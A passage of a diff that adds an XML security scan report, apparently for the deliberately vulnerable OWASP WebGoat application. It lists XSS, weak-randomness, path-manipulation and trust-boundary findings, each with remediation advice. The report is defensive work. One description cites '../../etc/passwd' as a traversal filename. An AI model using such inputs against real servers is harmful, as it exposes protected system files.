+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/css/menu.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"279\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/images/logos/owasp.jpg\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"280\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/javascript/javascript.js\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"281\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/CommandInjection_files/image005.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"284\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/formate.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"282\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/HttpSplitting_files/filelist.xml\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"283\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/UncheckedEmail_files/image001.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"285\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/General/redirect.jsp\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"286\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/RoleBasedAccessControl/images/orgChart.jpg\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"331\" cwename=\"Insufficient
+        Entropy\" pcirelated=\"false\" sans=\"327\">\n<description>\n<text text=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Insufficient Entropy\" count=\"1\" issueid=\"173\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Math.random\" description=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\r\n\r\nIf this random number is used where
+        security is a concern, such as generating a session key or session identifier,
+        use a trusted cryptographic random number generator instead. These can be
+        found on the Windows platform in the CryptoAPI or in an open source library
+        such as OpenSSL. In Java, use the SecureRandom object to ensure sufficient
+        entropy.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/331.html)\r\n\r\n\"
+        note=\"\" cweid=\"331\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"12\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"77\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"void &lt;clinit&gt;(void)\" functionrelativelocation=\"75\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Allowing user input to control paths used in filesystem operations
+        may enable an attacker to access or modify otherwise protected system resources
+        that would normally be inaccessible to end users.  In some cases, the user-provided
+        input may be passed directly to the filesystem operation, or it may be concatenated
+        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
+        text=\"When an application improperly cleanses special character sequences
+        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
+        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"73\" cwename=\"External Control
+        of File Name or Path\" pcirelated=\"false\" sans=\"22\" certcpp=\"877\">\n<description>\n<text
+        text=\"This call contains a path manipulation flaw.  The argument to the function
+        is a filename constructed using user-supplied input.  If an attacker is allowed
+        to specify all or part of the filename, it may be possible to gain unauthorized
+        access to files on the server, including those outside the webroot, that would
+        be normally be inaccessible to end users.  The level of exposure depends on
+        the effectiveness of input validation routines, if any.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"238\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"171\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"252\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"180\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"9\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.FileInputStream.!operator_javanewinit\"
+        description=\"This call to java.io.FileInputStream.!operator_javanewinit()
+        contains a path manipulation flaw. The argument to the function is a filename
+        constructed using user-supplied input. If an attacker is allowed to specify
+        all or part of the filename, it may be possible to gain unauthorized access
+        to files on the server, including those outside the webroot, that would be
+        normally be inaccessible to end users. The level of exposure depends on the
+        effectiveness of input validation routines, if any. The first argument to
+        !operator_javanewinit() contains tainted data from the variable fileName.
+        The tainted data originated from earlier calls to javax.servlet.http.HttpServletRequest.getHeader,
+        javax.servlet.ServletRequest.getParameterValues, javax.servlet.http.HttpServletRequest.getCookies,
+        and javax.servlet.ServletRequest.getParameterNames.\r\n\r\nValidate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible. When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/73.html)
+        \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\" note=\"\"
+        cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"LessonTracker.java\"
+        line=\"238\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.LessonTracker\"
+        functionprototype=\"LessonTracker load(WebSession, java.lang.String, Screen)\"
+        functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"39\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The first argument to !operator_javanewinit()
+        contains tainted data from the variable file. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"PathBasedAccessControl.java\"
+        line=\"136\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.PathBasedAccessControl\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"22\" categoryname=\"Encapsulation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Encapsulation is about defining strong security boundaries governing
+        data and processes. Within an application, it might mean differentiation between
+        validated and unvalidated data, between public and private members, or between
+        one user's data and another's.  \"/>\n<para text=\"In object-oriented programming,
+        the term encapsulation is used to describe the grouping together of data and
+        functionality within an object and the ability to provide users with a well-defined
+        interface in a way which hides their internal workings.  Though there is some
+        overlap with the above definition, the two definitions should not be confused
+        as being interchangeable.\"/>\n</desc>\n<recommendations>\n<para text=\"The
+        wide variance of encapsulation issues makes it impractical to generalize how
+        these issues should be addressed, beyond stating that encapsulation boundaries
+        should be well-defined and adhered to.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"501\" cwename=\"Trust
+        Boundary Violation\" pcirelated=\"false\">\n<description>\n<text text=\"A
+        trust boundary violation occurs when a program blurs the line between what
+        is trusted and what is untrusted.  This application mixes trusted and untrusted
+        data in the same data structure.  By doing so, it becomes easier for programmers
+        to mistakenly trust unvalidated data.  Without well-established and maintained
+        trust boundaries, programmers will inevitably lose track of which pieces of
+        data have been validated and which have not. This confusion will eventually
+        allow some data to be used without first being validated.  A common manifestation
+        of this flaw is in J2EE application, when a Session object is used to store
+        untrusted data from the HTTP request.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Trust Boundary Violation\" count=\"1\" issueid=\"246\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpSession.setAttribute\"
+        description=\"This call to javax.servlet.http.HttpSession.setAttribute() mixes
+        trusted and untrusted data in the same data structure, thereby encouraging
+        programmers to mistakenly trust unvalidated data. The second argument to setAttribute()
+        contains tainted data from the variable value. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
+        storing untrusted data alongside trusted data in the same data structure.
+        Establish and maintain trust boundaries for data storage.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/501.html)\r\n\r\n\" note=\"\"
+        cweid=\"501\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"22\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DefaultLessonAction.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DefaultLessonAction\"
+        functionprototype=\"void setSessionAttribute(session.WebSession, java.lang.String,
+        java.lang.Object)\" functionrelativelocation=\"64\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"472\" cwename=\"External
+        Control of Assumed-Immutable Web Parameter\" pcirelated=\"false\">\n<description>\n<text
+        text=\"The web application does not sufficiently verify inputs that are assumed
+        to be immutable but are actually externally controllable, such as hidden form
